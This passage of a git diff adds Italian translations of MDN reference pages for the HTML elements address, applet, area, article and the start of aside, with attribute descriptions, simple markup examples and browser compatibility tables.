+<h2 id="Esempio">Esempio</h2>
+<pre class="brush: html">  &lt;address&gt;
+    You can contact author at &lt;a href="http://www.somedomain.com/contact"&gt;www.somedomain.com&lt;/a&gt;.&lt;br&gt;
+    If you see any bugs, please &lt;a href="mailto:webmaster@somedomain.com"&gt;contact webmaster&lt;/a&gt;.&lt;br&gt;
+    You may also want to visit us:&lt;br&gt;
+    Mozilla Foundation&lt;br&gt;
+    1981 Landings Drive&lt;br&gt;
+    Building K&lt;br&gt;
+    Mountain View, CA 94043-0801&lt;br&gt;
+    USA
+  &lt;/address&gt;
+</pre>
+<p>Il codice HTML sopra visualizzerà:</p>
+<p><img alt="Image:HTML-address.png" src="/@api/deki/files/238/=HTML-address.png"></p>
+<p>Sebbene l'elemento indirizzo visualizzi il testo con gli stessi stili di default degli elementi {{HTMLElement("i")}} o {{HTMLElement("em")}}, esso risulta più appropriato da utilizzare quando si tratta di informazioni di contatto per come convoglia informazioni semantiche addizionali.</p>
+<h2 id="Specifications" name="Specifications">Specifiche</h2>
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'sections.html#the-address-element', '&lt;address&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'the-address-element.html#the-address-element', '&lt;address&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/global.html#h-7.5.6', '&lt;address&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+<h2 id="Compatilità_dei_Browser">Compatilità dei Browser</h2>
+<p>{{CompatibilityTable}}</p>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Feature</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Basic support</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatGeckoDesktop("1.7")}}</td>
+    <td>1.0</td>
+    <td>5.12</td>
+    <td>1.0</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Feature</th>
+    <th>Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mini</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Basic support</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatGeckoMobile("1.7")}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<h2 id="Vedi_anche">Vedi anche</h2>
+<ul>
+ <li>Altri elementi relativi alle sezioni: {{HTMLElement("body")}}, {{HTMLElement("nav")}}, {{HTMLElement("article")}}, {{HTMLElement("aside")}}, {{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}}, {{HTMLElement("hgroup")}}, {{HTMLElement("footer")}}, {{HTMLElement("section")}}, {{HTMLElement("header")}};</li>
+ <li class="last"><a class="deki-ns current" href="/en-US/docs/Sections_and_Outlines_of_an_HTML5_document" title="Sections and Outlines of an HTML5 document">Sections and outlines of an HTML5 document</a>.</li>
+</ul>
+<p>{{HTMLRef}}</p>
diff --git a/files/it/web/html/element/applet/index.html b/files/it/web/html/element/applet/index.html
new file mode 100644
index 0000000000..aa16b21fa8
--- /dev/null
+++ b/files/it/web/html/element/applet/index.html
@@ -0,0 +1,120 @@
+---
+title: <applet>
+slug: Web/HTML/Element/applet
+translation_of: Web/HTML/Element/applet
+---
+<div>{{obsolete_header}}</div>
+
+<h2 id="Sommario">Sommario</h2>
+
+<p>L'elemento HTML <code><strong>&lt;applet&gt;</strong></code> serve a includere un'applet Java.</p>
+
+<div class="note">
+<p><strong>Nota: </strong>Questo elemento è stato rimosso in HTML5. Gli sviluppatori dovrebbero usare l'elemento più generico {{HTMLElement("object")}}.</p>
+</div>
+
+<h2 id="Attributes" name="Attributes">Attributi</h2>
+
+<dl>
+ <dt>{{htmlattrdef("align")}}</dt>
+ <dd>Questo attributo specifica la posizione dell'applet nella pagina relativamente al contenuto intorno ad essa. La specifica HTML 4.01 definisce i valori <code>bottom</code>, <code>left</code>, <code>middle</code>, <code>right</code> e <code>top</code>; Microsoft e Netscape supportano anche i valori <code>absbottom</code>, <code>absmiddle</code>, <code>baseline</code>, <code>center</code> e <code>texttop</code>.</dd>
+ <dt>{{htmlattrdef("alt")}}</dt>
+ <dd>Questo attributo definisce un testo da mostrare nei browser che non supportano Java. Ricordare che anche il contenuto dell'elemento <strong><code>&lt;applet&gt;</code></strong> potrebbe essere mostrato come testo alternativo.</dd>
+ <dt>{{htmlattrdef("archive")}}</dt>
+ <dd>Questo attributo è un riferimento a una versione compressa dell'applet, che potrebbe aiutare a ridurre il tempo necessario al download.</dd>
+ <dt>{{htmlattrdef("code")}}</dt>
+ <dd>Questo attributo specifica l'URL del file principale dell'applet da eseguire. I file delle Applet devono avere l'estensione <code>.class</code>. L'URL specificato può essere relativo all'attributo <code>codebase</code>.</dd>
+ <dt>{{htmlattrdef("codebase")}}</dt>
+ <dd>Questo attributo l'URL (assoluto o relativo) della cartella che contiene i file <code>.class</code> specificati nell'attributo <code>code</code>.</dd>
+ <dt>{{htmlattrdef("datafld")}}</dt>
+ <dd>Questo attributo, supportato a partire dalla versione 4 di Internet Explorer, specifica il nome della colonna dell'oggetto di origine che fornisce i dati associati. Questo attributo potrebbe essere usato per specificare i vari elementi {{HTMLElement("param")}} passati all'applet Java.</dd>
+ <dt>{{htmlattrdef("datasrc")}}</dt>
+ <dd>Come <code>datafld</code>, questo attributo è usato per associare i dati in Internet Explorer 4. Indica l'id dell'oggetto di origine che fornisce i dati associati agli elementi {{HTMLElement("param")}} associati all'applet.</dd>
+ <dt>{{htmlattrdef("height")}}</dt>
+ <dd>Questo attributo specifica l'altezza dell'applet, in pixel.</dd>
+ <dt>{{htmlattrdef("hspace")}}</dt>
+ <dd>Questo attributo specifica quanto spazio, in pixel, lasciare ai lati dell'applet.</dd>
+ <dt>{{htmlattrdef("mayscript")}}</dt>
+ <dd>In Netscape, questo attributo permette l'accesso all'applet da parte degli scipt inclusi nella pagina.</dd>
+ <dt>{{htmlattrdef("name")}}</dt>
+ <dd>Questo attributo assegna un nome all'applet, cos' che possa essere identificata da altri script.</dd>
+ <dt>{{htmlattrdef("object")}}</dt>
+ <dd>Questo attributo specifica l'URL della rappresentazione serializzata dell'applet.</dd>
+ <dt>{{htmlattrdef("src")}}</dt>
+ <dd>Questo attributo, definito a partire dalla versione 4 di Internet Explorer, specifica l'URL di un file associato all'applet. Il suo significato e il suo utilizzo è poco chiaro e non è parte di nessuno standard HTML.</dd>
+ <dt>{{htmlattrdef("vspace")}}</dt>
+ <dd>
+ <div>Questo attributo specifica quanto spazio, in pixel, lasciare sopra e sotto l'applet.</div>
+ </dd>
+ <dt>{{htmlattrdef("width")}}</dt>
+ <dd>Questo attributo specifica la larghezza dell'applet, in pixel.</dd>
+</dl>
+
+<h2 id="Esempio">Esempio</h2>
+
+<pre class="brush: html">&lt;applet code="gioco.class" align="left" archive="gioco.zip" height="250" width="350"&gt;
+  &lt;param name="difficoltà" value="facile"&gt;
+  &lt;b&gt;Per usare questo gioco è necessario Java.&lt;/b&gt;
+&lt;/applet&gt;
+</pre>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Funzionalità</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Supporto di base</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Funzionalità</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mini</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Supporto di base</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Note">Note</h2>
+
+<ul>
+ <li>La specifica del W3C scoraggia l'uso del tag <code><strong>&lt;applet&gt;</strong></code> in favore dell'elemento {{HTMLElement("object")}}.</li>
+ <li>Questo elemento è deprecato nella versione strict dell'HTML 4.01 e obsoleto in HTML 5.</li>
+</ul>
+
+<div>{{HTMLRef}}</div>
diff --git a/files/it/web/html/element/area/index.html b/files/it/web/html/element/area/index.html
new file mode 100644
index 0000000000..04e90cebd6
--- /dev/null
+++ b/files/it/web/html/element/area/index.html
@@ -0,0 +1,191 @@
+---
+title: <area>
+slug: Web/HTML/Element/area
+translation_of: Web/HTML/Element/area
+---
+<h2 id="Sommario">Sommario</h2>
+
+<p>L'elemento HTML<em> </em><code>&lt;area&gt;</code><em> </em>definisce una regione accessibile su di un immagine, e opzionalmente viene associata con un collegamento ipertestuale. Questo elemento è usato solo con l'elemento {{HTMLElement("map")}}.</p>
+
+<ul class="htmlelt">
+ <li><dfn><a href="https://developer.mozilla.org/en-US/docs/HTML/Content_categories" title="HTML/Content_categories">Aree tematiche</a></dfn> <a href="https://developer.mozilla.org/en-US/docs/HTML/Content_categories#Flow_content" title="HTML/Content categories#Flow content">Contenuti di flusso</a>, <a href="https://developer.mozilla.org/en-US/docs/HTML/Content_categories#Phrasing_content" title="HTML/Content categories#Phrasing content">contenuto delle espressioni</a>.</li>
+ <li><dfn>Contenuto consentito</dfn> Vuoto; è un elemento nullo.</li>
+ <li><dfn>Omissione Tag</dfn> Nessuna, sia il tag di apertura, sia quello di chiusura sono obbligatori.</li>
+ <li><dfn>Elementi padre consentiti</dfn> Qualsiasi elemento che accetta <a href="https://developer.mozilla.org/en-US/docs/HTML/Content_categories#Phrasing_content" title="HTML/Content_categories#Phrasing_content">contenuto delle espressioni</a>. L'elemento <code>&lt;area&gt;</code> deve avere un antenato {{HTMLElement("map")}}, ma che non necessita essere un genitore diretto.</li>
+ <li><dfn>Interfaccia DOM</dfn> {{domxref("HTMLAreaElement")}}</li>
+</ul>
+
+<h2 id="Attributi">Attributi</h2>
+
+<p><span style="line-height: 21px;">Questo elemento include gli </span><a href="https://developer.mozilla.org/en-US/docs/HTML/Global_attributes" style="line-height: 21px;" title="HTML/Global attributes">attributi globali</a><span style="line-height: 21px;">.</span></p>
+
+<dl>
+ <dt>{{htmlattrdef("accesskey")}} {{HTMLVersionInline("4")}} only, {{obsolete_inline("5.0")}}</dt>
+ <dd>Specifica un acceleratore per la navigazione da tastiera per l'elemento. Premendo ALT, o una chiave simile, e contemporaneamente uno specifico carattere, si seleziona il comportamento correlato con quella specifica sequenza digitata. Chi disegna la pagina deve evitare sequenze riservate al browser. Questo attributo è globale a partire dalle specifiche HTML5.</dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("alt")}}</dt>
+ <dd>Una stringa di testo alternativa da visualizzare sui browser che non mostrano le immagini. Il testo dovrebbe essere tale da garantire all'utente lo stesso tipo di scelte che avrebbe visualizzando l'immagine senza il testo alternativo. In HTML4, questo attributo è necessario, ma potrebbe essere anche una stringa vuota (""). In HTML5, questo attributo è richiesto solo se presente l'attributo<strong> href</strong>.</dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("coords")}}</dt>
+ <dd>Una serie di valori che specificano le coordinate di una regione selezionabile. Il numero ed il significato dei valori dipendono dal valore specificato per l'attributo <strong>shape</strong>. Per un <code>rect</code> o forma rettangolare, il valore di <strong>coords</strong> consiste in due coppie x,y: sinistra, su, destra e giù. Per un <code>circle</code> o forma circolare, i valori sono <code>x,y,r</code> dove <code>x,y</code> è la coppia di coordinate che specifica il centro del cerchio e <code>r</code> è il valore del raggio. Per un <code>poly</code> o forma poligonale, il valore è un insieme di coppie x,y per ogni punto nel poligono: <code>x1,y1,x2,y2,x3,y3,</code> ecc... In HTML4, i valori sono il numero di pixels o una percentuale, se il numero è seguito dal relativo simbolo (%); in HTML5, i valori sono il numero dei pixel CSS.</dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("href")}}</dt>
+ <dd>L'obiettivo del collegamento ipertestuale dell'area. Il suo valore è un URL valido. In HTML4, sia questo che l'attibuto <strong>nohref</strong> devono essere presenti nell'elemento. In HTML5, questo attributo può essere omesso; se così fosse, l'elemento area non rappresenta un collegamento ipertestuale.</dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("hreflang")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>Indica la lingua della risorsa linkata. I valori consentiti sono determinati dal <a class="external" href="http://www.ietf.org/rfc/bcp/bcp47.txt" title="http://www.ietf.org/rfc/bcp/bcp47.txt">BCP47</a>. Questo attributo si può utilizzare se contestualmente presente l'attributo <strong>href</strong>.</dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("name")}} {{HTMLVersionInline("4")}} only, {{obsolete_inline("5.0")}}</dt>
+ <dd>Definisce un nome per l'area selezionabile così da poterci eseguire uno script da parte dei vecchi browser.</dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("media")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>Un suggerimento in merito al mezzo di comunicazione per il quale la risorsa è stata disegnata, ad esempio <code>print </code>(stampa) o <code>screen</code>. (schermo). Se omesso, di default viene settato su <code>all </code>(tutti). Utilizzare questo attributo solo se contestualmente presente <strong>href</strong>.</dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("nohref")}} {{HTMLVersionInline("4")}} only, {{obsolete_inline("5.0")}}</dt>
+ <dd>Indica che non esiste un collegamento ipertestuale in associazione all'area. <span id="result_box" lang="it"><span class="hps">O questo</span> <span class="hps">attributo o</span> <span class="hps">l'attributo</span> <strong><span class="hps">href</span></strong> <span class="hps">deve essere presente</span> <span class="hps">nell'elemento</span><span>.</span></span>
+ <div class="note">
+ <p><strong>Note d'uso: </strong>Questo attributo è obsoleto in HTML5, in quanto è sufficiente omettere l'attributo <strong>href</strong>.</p>
+ </div>
+ </dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("rel")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>Per le ancore che contengono l' attributo <strong>href</strong>, questo attributo specifica la relazione tra l' oggetto di destinazione e l' oggetto del collegamento. Il valore è una lista di valori di relazione separata da spazi. I valori e la loro semantica saranno registrati da qualche autorità che potrebbe avere senso per l' autore del documento. La relazione di default, se nessun altra è stata impostata, è void (vuoto/nullo). Usare questo attributo solo se presente l' attributo <strong>href</strong>.</dd>
+ <dt>{{htmlattrdef("shape")}}</dt>
+ <dd>La forma della regione selezionabile associata. Le specifiche per l'HTML 5 e l'HTML 4 definiscono i valori <code>rect</code>, che definisce una regione rettangolare; <code>circle</code>, che definisce una regione circolare; <code>poly</code>, che definisce un generico poligono; e <code>default</code>, che indica l'intera regione al di là della forma definita. Molti browser, in particolare Internet Explorer 4 e superiori, supportano <code>circ</code>, <code>polygon</code>, e <code>rectangle</code> come valori validi per <strong>shape</strong>; questi valori sono {{Non-standard_inline}}.</dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("tabindex")}} {{HTMLVersionInline("4")}} only, {{obsolete_inline("5.0")}}</dt>
+ <dd>Un valore numerico che specifica la posizione nella tabulazione ordinata definita nel browser. Questo è un attributo globale in HTML5.</dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("target")}}</dt>
+ <dd>Questo attributo specifica dove deve essere visualizzata la risorsa linkata. In HTML4, questo è il nome, o una parola chiave, per una cornice (frame). In HTML5, è il nome, o parola chiave, di un contesto di navigazione (<em>browsing context</em> )(per esempio, ettichetta, finestra o frame in linea). Le seguenti parole chiave hanno uno speciale significato:
+ <ul>
+  <li><code>_self</code>: Carica la risposta nella medesima cornice HTML4 (o contesto di navigazione HTML5) come quella attuale. Questo valore è impostato di default se l' attributo non è specificato.</li>
+  <li><code>_blank</code>: Carica la risposta in una nuova finestra senza nome nella finestra HTML4 o un nuovo contesto di navigazione HTML5.</li>
+  <li><code>_parent</code>: Carica la risposta nel frameset genitore del frame corrente in HTML4 oppure il contesto di navigazione genitore del corrente in HTML5. Se non ci fosse il genitore, questa opzione si comporta allo stesso modo di <code>_self</code>.</li>
+  <li><code>_top</code>: In HTML4: Carica la risposta dentro la finestra originale completa, cancellando gli altri frame. In HTML5: Carica la risposta nel primo livello del contesto di navigazione (cioè, il contesto di navigazione che è un antenato di quello corrente, e non ha padre). Se non ha padre, il comportamento di questa opzione coincide con <code>_self</code>.</li>
+ </ul>
+ Usa questo attributo solo se presente l' attributo <strong>href</strong>.</dd>
+ <dt>{{htmlattrdef("type")}}</dt>
+ <dd><span id="result_box" lang="it"><span class="hps">Questo attributo specifica il</span> <span class="hps">tipo di supporto</span><span>, sotto forma di</span> <span class="hps">un tipo MIME</span> <span class="hps">per la</span> <span class="hps">destinazione del collegamento</span></span>. <span id="result_box" lang="it"><span class="hps">In generale</span><span>,</span> <span class="hps">questo è fornito</span> <span class="hps">esclusivamente come</span> <span class="alt-edited hps">informazione</span> <span class="alt-edited hps">consultiva</span></span>; tuttavia, in futuro un browser potrebbe aggiungere una picco icona per i tipi multimediali. Per esempio, un browser potrebbe aggiungere una piccola icona con un microfono queando il tipo è settato come audio/wav. Per una lista completa dei tipi MIME riconosciuti, consulta <a class="external linkification-ext" href="http://www.w3.org/TR/html4/references.html#ref-MIMETYPES" title="Linkification: http://www.w3.org/TR/html4/references.html#ref-MIMETYPES">http://www.w3.org/TR/html4/references.html#ref-MIMETYPES</a>. Usa questo attributo solo se presente l' attributo <strong>href</strong>.</dd>
+</dl>
+
+<h2 id="Esempio">Esempio</h2>
+
+<pre class="brush: html">&lt;map name="primary"&gt;
+  &lt;area shape="circle" coords="200,250,25" href="another.htm" /&gt;
+  &lt;area shape="default" nohref /&gt;
+&lt;/map&gt;
+</pre>
+
+<h2 id="Specifications" name="Specifications">Specifiche</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commenti</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'the-map-element.html#the-area-element', '&lt;area&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'the-area-element.html#the-area-element', '&lt;area&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/objects.html#h-13.6.1', '&lt;area&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_dei_Browser">Compatibilità dei Browser</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Funzionalità</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Supporto di base</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Funzionalità</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mini</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Supporto di base</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Note">Note</h2>
+
+<ul>
+ <li>Nelle specifiche HTML 3.2, 4.0, e 5, il tag di chiusura <code>&lt;/area&gt;</code> è proibito.</li>
+ <li>Le specifiche XHTML 1.0 richiedono una barra finale: <code>&lt;area /&gt;</code>.</li>
+ <li>Gli attributi <strong>id</strong>, <strong>class</strong>, e <strong>style</strong> hanno il medesimo significato attribuito nelle specifiche HTML 4, ma vengono definiti solo da Netscape e Microsoft.</li>
+ <li>I browser Netscape di livello 1 non interpretano l'attributo <strong>target</strong> quando riferito ad un frame.</li>
+ <li>HTML 3.2 definisce solo <strong>alt</strong>, <strong>coords</strong>, <strong>href</strong>, <strong>nohref</strong>, e <strong>shape</strong>.</li>
+</ul>
+
+<p>{{HTMLRef}}</p>
diff --git a/files/it/web/html/element/article/index.html b/files/it/web/html/element/article/index.html
new file mode 100644
index 0000000000..cdf8b222dc
--- /dev/null
+++ b/files/it/web/html/element/article/index.html
@@ -0,0 +1,119 @@
+---
+title: <article>
+slug: Web/HTML/Element/article
+translation_of: Web/HTML/Element/article
+---
+<p>L'<em>elemento HTML <code>&lt;article&gt;</code></em> rappresenta una composizione autocontenuta in un documento, una pagina, un'applicazione, o un sito, intesa per essere distribuita indipendentemente o riutilizzata, per esempio, nell'aggregazione. Esempi sono un articolo su un forum, un articolo di rivista o di giornale, un articolo su un blog, un commento inserito da un utente, un widget o un gadget interattivi, o qualsiasi altro contenuto indipendente. Ogni <em><code>&lt;article&gt;</code></em> dovrebbe essere identificato, generalmente, includendo un'intestazione (elementi <code><a href="http://www.w3.org/html/wg/drafts/html/master/sections.html#the-h1,-h2,-h3,-h4,-h5,-and-h6-elements">h1</a></code>-<code><a href="http://www.w3.org/html/wg/drafts/html/master/sections.html#the-h1,-h2,-h3,-h4,-h5,-and-h6-elements">h6</a></code>) come figlia dell'elemento <em><code>&lt;article&gt;</code></em>.</p>
+
+<div class="note">
+<p><strong>Note d'uso:</strong></p>
+
+<ul>
+ <li>Quando un elemento <code>&lt;article&gt;</code> è annidato, l'elemento più interno rappresenta un articolo collegato all'elemento più esterno. Per esempio, i commenti di un articolo su un blog possono essere elementi <code>&lt;article&gt;</code> annidati nell'elemento <code>&lt;article&gt;</code> che rappresenta il post sul blog.</li>
+ <li>Le informazioni sull'autore di un elemento <code>&lt;article&gt;</code> possono essere fornite attraverso l'elemento {{HTMLElement("address")}}, ma non si applicano agli elementi<code>&lt;article&gt;</code> annidati.</li>
+ <li>La data e l'ora di pubblicazione di un elemento <code>&lt;article&gt;</code> possono essere descritte usando l'attributo {{htmlattrxref("pubdate", "time")}} di un elemento {{HTMLElement("time")}}.</li>
+</ul>
+</div>
+
+<ul class="htmlelt">
+ <li><dfn><a href="/en-US/docs/HTML/Content_categories" title="HTML/Content_categories">Categorie di contenuti</a></dfn> <a href="/en-US/docs/HTML/Content_categories#Flow_content" title="HTML/Content categories#Flow content">flow content</a>, sectioning content, palpable content.</li>
+ <li><dfn>Contenuti consentiti</dfn><a href="/en-US/docs/HTML/Content_categories#Flow_content" title="HTML/Content_categories#Flow_content">flow content</a>.</li>
+ <li><dfn>Omissione del tag</dfn> {{no_tag_omission}}</li>
+ <li><dfn>Elementi genitore permessi</dfn>Qualsiasi elemento che accetti <a href="/en-US/docs/HTML/Content_categories#Flow_content" title="https://developer.mozilla.org/en/HTML/Content_categories#Flow_content">contenuto di flusso</a>. Notare che un elemento <code>&lt;article&gt;</code> non deve essere un discendente di un elemento {{HTMLElement("address")}}.</li>
+ <li><dfn>Interfaccia DOM</dfn> {{domxref("HTMLElement")}}</li>
+</ul>
+
+<h2 id="Attributi">Attributi</h2>
+
+<p><span style="line-height: 21px;">Questo elemento include solamente gli </span><a href="https://developer.mozilla.org/en-US/docs/HTML/Global_attributes" style="line-height: 21px;" title="HTML/Global attributes">attributi globali</a><span style="line-height: 21px;">.</span></p>
+
+<h2 id="Esempio">Esempio</h2>
+
+<pre class="brush: html">&lt;article&gt;
+  &lt;h4&gt;Un articolo veramente fantastico&lt;/h4&gt;
+  &lt;p&gt;Un sacco di testo fantastico.&lt;/p&gt;
+&lt;/article&gt;
+</pre>
+
+<h2 id="Specifications" name="Specifications">Specifiche</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commenti</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'sections.html#the-article-element', '&lt;article&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'sections.html#the-article-element', '&lt;article&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Funzionalità</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Supporto di base</td>
+   <td>5</td>
+   <td>{{CompatGeckoDesktop("2.0")}}</td>
+   <td>9.0</td>
+   <td>11.10</td>
+   <td>4.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Supporto di base</td>
+   <td>2.2</td>
+   <td>{{CompatGeckoMobile("2.0")}}</td>
+   <td>9.0</td>
+   <td>11.0</td>
+   <td>5.0 (iOS 4.2)</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>Altri elementi correlati alle sezioni: {{HTMLElement("body")}}, {{HTMLElement("nav")}}, {{HTMLElement("section")}}, {{HTMLElement("aside")}}, {{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}}, {{HTMLElement("hgroup")}}, {{HTMLElement("header")}}, {{HTMLElement("footer")}}, {{HTMLElement("address")}}</li>
+ <li class="last"><a href="https://developer.mozilla.org/en-US/docs/Sections_and_Outlines_of_an_HTML5_document">Sezioni e indici nei documenti HTML5</a>.</li>
+</ul>
+
+<p>{{ HTMLRef }}</p>
diff --git a/files/it/web/html/element/aside/index.html b/files/it/web/html/element/aside/index.html
new file mode 100644
index 0000000000..0aa21273e5
--- /dev/null
+++ b/files/it/web/html/element/aside/index.html
@@ -0,0 +1,134 @@
+---
+title: <aside>
+slug: Web/HTML/Element/aside
+tags:
+  - Elemento
+  - HTML
+  - HTML5
+  - Reference
+  - Référence(2)
+  - Web
+translation_of: Web/HTML/Element/aside
+---
+<h2 id="Sommario">Sommario</h2>
+
+<p>L'<em>elemento HTML &lt;aside&gt;</em> rappresenta una sezione della pagina il cui contenuto è connesso solo marginalmente al resto della pagina, e che dovrebbe essere considerato separato dal resto del contenuto. Queste sezioni sono spesso usate come sidebar. Spesso contengono delle definizioni, come un glossario, ma potrebbero esserci anche altri tipi di informazioni: pubblicità, la biografia dell'autore, applicazioni, informazioni sul profilo o link correlati al contenuto.</p>
+
+<div class="note">
+<p><em>Note d'uso:</em></p>
+
+<ul>
+ <li>Si sconsiglia di usare l'elemnto <code>&lt;aside&gt;</code> element per contenere del testo tra parentesi, in quanto è considerato parte del flusso principale.</li>
+</ul>
+</div>
+
+<ul class="htmlelt">
+ <li><dfn><a href="/en-US/docs/HTML/Content_categories" title="HTML/Content_categories">Categorie di contenuti</a></dfn> <a href="/en-US/docs/HTML/Content_categories#Flow_content" title="HTML/Content categories#Flow content">Contenuti di flusso</a>, <a href="/en-US/docs/HTML/Content_categories#Sectioning_content">contenuti di sezionamento</a>, contenuto palpabili.</li>
